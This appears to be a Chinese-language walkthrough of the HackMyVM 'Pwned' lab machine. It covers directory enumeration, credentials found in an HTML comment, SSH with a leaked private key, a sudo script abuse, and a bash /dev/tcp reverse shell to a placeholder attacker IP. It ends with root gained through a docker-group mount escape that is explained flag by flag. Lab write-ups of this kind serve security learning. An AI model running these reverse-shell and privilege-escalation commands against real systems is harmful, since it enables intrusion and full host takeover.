
HMV-Pwned靶场复盘
Pwned
端口探测
开放了三个端口 ftp ssh http
web探测
访问80端口 网页中只有一句话和一个注释
说明员工里面有一个女性
然后用dirsearch跑一遍 发现之后一个nothing目录 nothing里面确实是nothing😂
这里没有可以注入的点 也没有找到可以进入的目录 没有任何的方向了 说明一定是信息收集不够
用gobuster再跑一遍 gobuster dir -u 192.168.240.74 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 60
发现了新的目录 /hidden_text
找到一个文件 里面又是一些目录的字典 现在再用dirsearch跑一遍 然后进入那个可以访问的界面
进入后有一个登录界面 但是没有可以注入的点
发现有一个注释 注释里面有有用户名ftpuser 密码 B0ss_B!TcH 所以可以登录ftp 还能登录ssh
提权
进入这个shell之后发现里面有两个文件 一个是rsa的私钥 然后告诉了我们一个用户ariana
现在就用这个私钥进入这个用户 在登录之前要先chmod 600
拿到ariana的shell
找到了另外一个用户selena
sudo -l 发现可以执行一个脚本
脚本中的内容为:
这个脚本会echo $msg 就是你写入的消息会被打出来 所以我们可以用selena身份执行脚本 然后得到bash
这里nc 没有-e指令 学习一种新的反弹shell方式bash -i >&/dev/tcp/ 攻击机_IP / 攻击机端口 0>&1
反弹shell
这里我们直接发bash得到selena 的 shell
发现id在docker组 要用docker提权docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker提权命令详细解释
1. docker run
这是 Docker 命令,用于启动一个新的容器并运行指定的命令。
2. -v /:/mnt
-v
是 Docker 的卷挂载选项,用于将宿主机的文件系统挂载到容器中。/
表示宿主机的根文件系统。/mnt
是容器内部的挂载点。
所以,-v /:/mnt
这部分命令的作用是将宿主机的根文件系统 /
挂载到容器内部的 /mnt
目录。
3. --rm
--rm
表示在容器停止后自动删除容器。这使得容器在退出后不会在 Docker 主机上留下残余文件。
4. -it
-i
:保持容器的标准输入打开(交互式模式)。-t
:为容器分配一个伪终端,这样可以进行交互式操作。
这两个选项组合起来意味着容器将以交互式模式运行,允许用户在容器内执行命令。
5. alpine
- 这是一个小型的 Linux 发行版镜像,通常用于构建轻量级的 Docker 容器。它包含最基本的工具和库,非常适合用作基础镜像。
6. chroot /mnt
chroot
是 Linux 中的一个命令,用于改变当前进程的根目录。执行chroot /mnt
后,容器内的文件系统根目录变成了/mnt
,而mnt
被挂载到了宿主机的根文件系统/
。- 这意味着,容器内的程序和命令将认为
/mnt
是文件系统的根目录。由于/mnt
映射了宿主机的根文件系统,这实际上使得容器内部的进程进入了宿主机的文件系统环境。
7. sh
sh
是在容器中执行的命令,它启动一个 shell(即sh
),允许你在容器内与宿主机的根文件系统交互。